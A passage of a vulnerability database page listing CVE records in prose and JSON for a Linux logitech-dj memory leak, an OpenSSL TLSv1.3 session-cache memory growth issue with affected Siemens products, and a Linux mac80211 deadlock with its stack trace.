              "lessThan": "caa9c9acb93db7ad7b74b157cf101579bac9596d",
              "status": "affected",
              "version": "e38a6f12685d8a2189b72078f6254b069ff84650",
              "versionType": "git"
            },
            {
              "lessThan": "a0503757947f2e46e59c1962326b53b3208c8213",
              "status": "affected",
              "version": "4fb28379b3c735398b252a979c991b340baa6b5b",
              "versionType": "git"
            },
            {
              "lessThan": "789c99a1d7d2c8f6096d75fc2930505840ec9ea0",
              "status": "affected",
              "version": "6e59609541514d2ed3472f5bc999c55bdb6144ee",
              "versionType": "git"
            },
            {
              "lessThan": "f677ca8cfefee2a729ca315f660cd4868abdf8de",
              "status": "affected",
              "version": "6f20d3261265885f6a6be4cda49d7019728760e0",
              "versionType": "git"
            },
            {
              "lessThan": "1df2ead5dfad5f8f92467bd94889392d53100b98",
              "status": "affected",
              "version": "6f20d3261265885f6a6be4cda49d7019728760e0",
              "versionType": "git"
            },
            {
              "lessThan": "ce3af2ee95170b7d9e15fff6e500d67deab1e7b3",
              "status": "affected",
              "version": "6f20d3261265885f6a6be4cda49d7019728760e0",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "144becd79c196f02143ca71fc10766bd0cc660a1",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "00ab92481d3a40a5ad323df4c518068f66ce49f1",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/hid/hid-logitech-dj.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "6.6"
            },
            {
              "lessThan": "6.6",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.95",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.35",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.6",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.4.257",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.10.195",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.15.132",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.95",
                  "versionStartIncluding": "6.1.53",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.35",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.6",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "6.6",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.4.16",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "6.5.3",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: logitech-dj: Fix memory leak in logi_dj_recv_switch_to_dj_mode()\n\nFix a memory leak on logi_dj_recv_send_report() error path."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:22:39.896Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/15122dc140d82c51c216535c57b044c4587aae45"
        },
        {
          "url": "https://git.kernel.org/stable/c/caa9c9acb93db7ad7b74b157cf101579bac9596d"
        },
        {
          "url": "https://git.kernel.org/stable/c/a0503757947f2e46e59c1962326b53b3208c8213"
        },
        {
          "url": "https://git.kernel.org/stable/c/789c99a1d7d2c8f6096d75fc2930505840ec9ea0"
        },
        {
          "url": "https://git.kernel.org/stable/c/f677ca8cfefee2a729ca315f660cd4868abdf8de"
        },
        {
          "url": "https://git.kernel.org/stable/c/1df2ead5dfad5f8f92467bd94889392d53100b98"
        },
        {
          "url": "https://git.kernel.org/stable/c/ce3af2ee95170b7d9e15fff6e500d67deab1e7b3"
        }
      ],
      "title": "HID: logitech-dj: Fix memory leak in logi_dj_recv_switch_to_dj_mode()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-40934",
    "datePublished": "2024-07-12T12:25:11.836Z",
    "dateReserved": "2024-07-12T12:17:45.584Z",
    "dateUpdated": "2026-05-12T11:55:42.938Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-2511 (GCVE-0-2024-2511)

Vulnerability from cvelistv5 – Published: 2024-04-08 13:51 – Updated: 2026-05-12 11:30

Title

Unbounded memory growth with session handling in TLSv1.3

Summary

Issue summary: Some non-default TLS server configurations can cause unbounded memory growth when processing TLSv1.3 sessions Impact summary: An attacker may exploit certain server configurations to trigger unbounded memory growth that would lead to a Denial of Service This problem can occur in TLSv1.3 if the non-default SSL_OP_NO_TICKET option is being used (but not if early_data support is also configured and the default anti-replay protection is in use). In this case, under certain conditions, the session cache can get into an incorrect state and it will fail to flush properly as it fills. The session cache will continue to grow in an unbounded manner. A malicious client could deliberately create the scenario for this failure to force a Denial of Service. It may also happen by accident in normal operation. This issue only affects TLS servers supporting TLSv1.3. It does not affect TLS clients. The FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL 1.0.2 is also not affected by this issue.

Severity ?

No CVSS data available.

CWE

CWE-1325 - Improperly Controlled Sequential Memory Allocation

Assigner

openssl

References

5 references

URL	Tags
https://www.openssl.org/news/secadv/20240408.txt	vendor-advisory
https://github.com/openssl/openssl/commit/e9d7083…	patch
https://github.com/openssl/openssl/commit/7e4d731…	patch
https://github.com/openssl/openssl/commit/b52867a…	patch
https://github.openssl.org/openssl/extended-relea…	patch

Impacted products

1 product

Vendor	Product	Version
OpenSSL	OpenSSL	Affected: 3.2.0 , < 3.2.2 (semver) Affected: 3.1.0 , < 3.1.6 (semver) Affected: 3.0.0 , < 3.0.14 (semver) Affected: 1.1.1 , < 1.1.1y (custom)

Date Public ?

2024-04-08 00:00

Credits

Manish Patidar (Hewlett Packard Enterprise) Matt Caswell

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "NETWORK",
              "availabilityImpact": "HIGH",
              "baseScore": 5.9,
              "baseSeverity": "MEDIUM",
              "confidentialityImpact": "NONE",
              "integrityImpact": "NONE",
              "privilegesRequired": "NONE",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-2511",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-04-09T15:14:41.481807Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-03-28T19:21:08.630Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:54:02.419Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "OpenSSL Advisory",
            "tags": [
              "vendor-advisory",
              "x_transferred"
            ],
            "url": "https://www.openssl.org/news/secadv/20240408.txt"
          },
          {
            "name": "3.2.2 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/e9d7083e241670332e0443da0f0d4ffb52829f08"
          },
          {
            "name": "3.1.6 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/7e4d731b1c07201ad9374c1cd9ac5263bdf35bce"
          },
          {
            "name": "3.0.14 git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.com/openssl/openssl/commit/b52867a9f618bb955bed2a3ce3db4d4f97ed8e5d"
          },
          {
            "name": "1.1.1y git commit",
            "tags": [
              "patch",
              "x_transferred"
            ],
            "url": "https://github.openssl.org/openssl/extended-releases/commit/5f8d25770ae6437db119dfc951e207271a326640"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "http://www.openwall.com/lists/oss-security/2024/04/08/5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20240503-0013/"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/11/msg00000.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2024/10/msg00033.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RM1224 LTE(4G) EU",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RM1224 LTE(4G) NAM",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M804PB",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M812-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M812-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M816-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M816-1 ADSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M826-2 SHDSL-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M874-2",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M874-3",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M874-3 3G-Router (CN)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-3",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-3 (ROK)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-4",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-4 (EU)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE M876-4 (NAM)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM853-1 (A1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM853-1 (B1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM853-1 (EU)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (A1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (B1)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (CN)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (EU)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE MUM856-1 (RoW)",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE S615 EEC LAN-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE S615 LAN-Router",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V8.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1.5",
                "status": "affected",
                "version": "V3.1.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:30:34.541Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-398330.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-354112.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-915275.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-769027.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "OpenSSL",
          "vendor": "OpenSSL",
          "versions": [
            {
              "lessThan": "3.2.2",
              "status": "affected",
              "version": "3.2.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.1.6",
              "status": "affected",
              "version": "3.1.0",
              "versionType": "semver"
            },
            {
              "lessThan": "3.0.14",
              "status": "affected",
              "version": "3.0.0",
              "versionType": "semver"
            },
            {
              "lessThan": "1.1.1y",
              "status": "affected",
              "version": "1.1.1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Manish Patidar (Hewlett Packard Enterprise)"
        },
        {
          "lang": "en",
          "type": "remediation developer",
          "user": "00000000-0000-4000-9000-000000000000",
          "value": "Matt Caswell"
        }
      ],
      "datePublic": "2024-04-08T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "supportingMedia": [
            {
              "base64": false,
              "type": "text/html",
              "value": "Issue summary: Some non-default TLS server configurations can cause unbounded\u003cbr\u003ememory growth when processing TLSv1.3 sessions\u003cbr\u003e\u003cbr\u003eImpact summary: An attacker may exploit certain server configurations to trigger\u003cbr\u003eunbounded memory growth that would lead to a Denial of Service\u003cbr\u003e\u003cbr\u003eThis problem can occur in TLSv1.3 if the non-default SSL_OP_NO_TICKET option is\u003cbr\u003ebeing used (but not if early_data support is also configured and the default\u003cbr\u003eanti-replay protection is in use). In this case, under certain conditions, the\u003cbr\u003esession cache can get into an incorrect state and it will fail to flush properly\u003cbr\u003eas it fills. The session cache will continue to grow in an unbounded manner. A\u003cbr\u003emalicious client could deliberately create the scenario for this failure to\u003cbr\u003eforce a Denial of Service. It may also happen by accident in normal operation.\u003cbr\u003e\u003cbr\u003eThis issue only affects TLS servers supporting TLSv1.3. It does not affect TLS\u003cbr\u003eclients.\u003cbr\u003e\u003cbr\u003eThe FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL\u003cbr\u003e1.0.2 is also not affected by this issue."
            }
          ],
          "value": "Issue summary: Some non-default TLS server configurations can cause unbounded\nmemory growth when processing TLSv1.3 sessions\n\nImpact summary: An attacker may exploit certain server configurations to trigger\nunbounded memory growth that would lead to a Denial of Service\n\nThis problem can occur in TLSv1.3 if the non-default SSL_OP_NO_TICKET option is\nbeing used (but not if early_data support is also configured and the default\nanti-replay protection is in use). In this case, under certain conditions, the\nsession cache can get into an incorrect state and it will fail to flush properly\nas it fills. The session cache will continue to grow in an unbounded manner. A\nmalicious client could deliberately create the scenario for this failure to\nforce a Denial of Service. It may also happen by accident in normal operation.\n\nThis issue only affects TLS servers supporting TLSv1.3. It does not affect TLS\nclients.\n\nThe FIPS modules in 3.2, 3.1 and 3.0 are not affected by this issue. OpenSSL\n1.0.2 is also not affected by this issue."
        }
      ],
      "metrics": [
        {
          "format": "other",
          "other": {
            "content": {
              "text": "Low"
            },
            "type": "https://www.openssl.org/policies/secpolicy.html"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-1325",
              "description": "CWE-1325 Improperly Controlled Sequential Memory Allocation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-10-14T14:56:00.208Z",
        "orgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
        "shortName": "openssl"
      },
      "references": [
        {
          "name": "OpenSSL Advisory",
          "tags": [
            "vendor-advisory"
          ],
          "url": "https://www.openssl.org/news/secadv/20240408.txt"
        },
        {
          "name": "3.2.2 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/e9d7083e241670332e0443da0f0d4ffb52829f08"
        },
        {
          "name": "3.1.6 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/7e4d731b1c07201ad9374c1cd9ac5263bdf35bce"
        },
        {
          "name": "3.0.14 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/b52867a9f618bb955bed2a3ce3db4d4f97ed8e5d"
        },
        {
          "name": "1.1.1y git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.openssl.org/openssl/extended-releases/commit/5f8d25770ae6437db119dfc951e207271a326640"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Unbounded memory growth with session handling in TLSv1.3",
      "x_generator": {
        "engine": "Vulnogram 0.1.0-dev"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2024-2511",
    "datePublished": "2024-04-08T13:51:12.349Z",
    "dateReserved": "2024-03-15T15:33:52.037Z",
    "dateUpdated": "2026-05-12T11:30:34.541Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40912 (GCVE-0-2024-40912)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:20 – Updated: 2026-05-12 11:55

Title

wifi: mac80211: Fix deadlock in ieee80211_sta_ps_deliver_wakeup()

Summary

In the Linux kernel, the following vulnerability has been resolved: wifi: mac80211: Fix deadlock in ieee80211_sta_ps_deliver_wakeup() The ieee80211_sta_ps_deliver_wakeup() function takes sta->ps_lock to synchronizes with ieee80211_tx_h_unicast_ps_buf() which is called from softirq context. However using only spin_lock() to get sta->ps_lock in ieee80211_sta_ps_deliver_wakeup() does not prevent softirq to execute on this same CPU, to run ieee80211_tx_h_unicast_ps_buf() and try to take this same lock ending in deadlock. Below is an example of rcu stall that arises in such situation. rcu: INFO: rcu_sched self-detected stall on CPU rcu: 2-....: (42413413 ticks this GP) idle=b154/1/0x4000000000000000 softirq=1763/1765 fqs=21206996 rcu: (t=42586894 jiffies g=2057 q=362405 ncpus=4) CPU: 2 PID: 719 Comm: wpa_supplicant Tainted: G W 6.4.0-02158-g1b062f552873 #742 Hardware name: RPT (r1) (DT) pstate: 00000005 (nzcv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--) pc : queued_spin_lock_slowpath+0x58/0x2d0 lr : invoke_tx_handlers_early+0x5b4/0x5c0 sp : ffff00001ef64660 x29: ffff00001ef64660 x28: ffff000009bc1070 x27: ffff000009bc0ad8 x26: ffff000009bc0900 x25: ffff00001ef647a8 x24: 0000000000000000 x23: ffff000009bc0900 x22: ffff000009bc0900 x21: ffff00000ac0e000 x20: ffff00000a279e00 x19: ffff00001ef646e8 x18: 0000000000000000 x17: ffff800016468000 x16: ffff00001ef608c0 x15: 0010533c93f64f80 x14: 0010395c9faa3946 x13: 0000000000000000 x12: 00000000fa83b2da x11: 000000012edeceea x10: ffff0000010fbe00 x9 : 0000000000895440 x8 : 000000000010533c x7 : ffff00000ad8b740 x6 : ffff00000c350880 x5 : 0000000000000007 x4 : 0000000000000001 x3 : 0000000000000000 x2 : 0000000000000000 x1 : 0000000000000001 x0 : ffff00000ac0e0e8 Call trace: queued_spin_lock_slowpath+0x58/0x2d0 ieee80211_tx+0x80/0x12c ieee80211_tx_pending+0x110/0x278 tasklet_action_common.constprop.0+0x10c/0x144 tasklet_action+0x20/0x28 _stext+0x11c/0x284 ____do_softirq+0xc/0x14 call_on_irq_stack+0x24/0x34 do_softirq_own_stack+0x18/0x20 do_softirq+0x74/0x7c __local_bh_enable_ip+0xa0/0xa4 _ieee80211_wake_txqs+0x3b0/0x4b8 __ieee80211_wake_queue+0x12c/0x168 ieee80211_add_pending_skbs+0xec/0x138 ieee80211_sta_ps_deliver_wakeup+0x2a4/0x480 ieee80211_mps_sta_status_update.part.0+0xd8/0x11c ieee80211_mps_sta_status_update+0x18/0x24 sta_apply_parameters+0x3bc/0x4c0 ieee80211_change_station+0x1b8/0x2dc nl80211_set_station+0x444/0x49c genl_family_rcv_msg_doit.isra.0+0xa4/0xfc genl_rcv_msg+0x1b0/0x244 netlink_rcv_skb+0x38/0x10c genl_rcv+0x34/0x48 netlink_unicast+0x254/0x2bc netlink_sendmsg+0x190/0x3b4 ____sys_sendmsg+0x1e8/0x218 ___sys_sendmsg+0x68/0x8c __sys_sendmsg+0x44/0x84 __arm64_sys_sendmsg+0x20/0x28 do_el0_svc+0x6c/0xe8 el0_svc+0x14/0x48 el0t_64_sync_handler+0xb0/0xb4 el0t_64_sync+0x14c/0x150 Using spin_lock_bh()/spin_unlock_bh() instead prevents softirq to raise on the same CPU that is holding the lock.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/e51637e0c66a6f72d…
https://git.kernel.org/stable/c/28ba44d680a30c51c…
https://git.kernel.org/stable/c/e7e916d693dcb5a29…
https://git.kernel.org/stable/c/d90bdff79f8e40adf…
https://git.kernel.org/stable/c/9c49b58b9a2bed707…
https://git.kernel.org/stable/c/456bbb8a31e425177…
https://git.kernel.org/stable/c/47d176755d5c0baf2…
https://git.kernel.org/stable/c/44c06bbde6443de20…

Impacted products

2 products

Vendor	Product	Version
